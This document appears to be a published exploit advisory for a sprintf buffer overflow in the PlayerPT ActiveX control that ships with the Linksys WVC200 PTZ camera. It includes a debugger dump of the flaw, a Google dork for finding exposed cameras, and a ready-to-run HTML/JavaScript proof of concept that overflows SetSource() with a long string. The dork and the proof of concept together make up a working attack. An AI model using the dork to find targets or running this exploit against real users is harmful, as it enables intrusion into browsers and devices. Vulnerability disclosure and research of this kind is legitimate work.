Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX Control PlayerPT.ocx sprintf Buffer Overflow Vulnerability



<!--
Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX
Control PlayerPT.ocx sprintf Buffer Overflow Vulnerability

when viewing the device web interface it asks
to install an ActiveX control with the following settings:

ProductName: PlayerPT ActiveX Control Module
File version: 1.0.0.15
Binary path: C:\WINDOWS\system32\PlayerPT.ocx
CLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591}
ProgID: PLAYERPT.PlayerPTCtrl.1
Safe for scripting (registry): True
Safe for initialization (registry): True

try this google dork for WVC200:
linksys wireless-g ptz inurl:main.cgi

Vulnerability:
the SetSource() method is vulnerable to a buffer overflow
vulnerability. Quickly, ollydbg dump:

..
03238225 8B5424 20 mov edx,dword ptr ss:[esp+20]
03238229 894424 10 mov dword ptr ss:[esp+10],eax
0323822D B9 32000000 mov ecx,32
03238232 33C0 xor eax,eax
03238234 8B72 F8 mov esi,dword ptr ds:[edx-8]
03238237 8DBC24 E8020000 lea edi,dword ptr ss:[esp+2E8]
0323823E F3:AB rep stos dword ptr es:[edi]
03238240 8B3D 0C062603 mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf
03238246 52 push edx
03238247 8D8C24 EC020000 lea ecx,dword ptr ss:[esp+2EC]
0323824E 68 48612603 push PlayerPT.03266148 ; ASCII "%s"
03238253 51 push ecx
03238254 FFD7 call edi <---------------boom
..

rgod
-->
<!-- saved from url=(0014)about:internet -->
<HTML>
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' />
</object>
<script>
var x="";
for (i=0; i<13999; i++){
x = x + "aaaa";
}
obj.SetSource("","","","",x);
</script>

original source: http://retrogod.altervista.org/9sg_linksys_playerpt.htm



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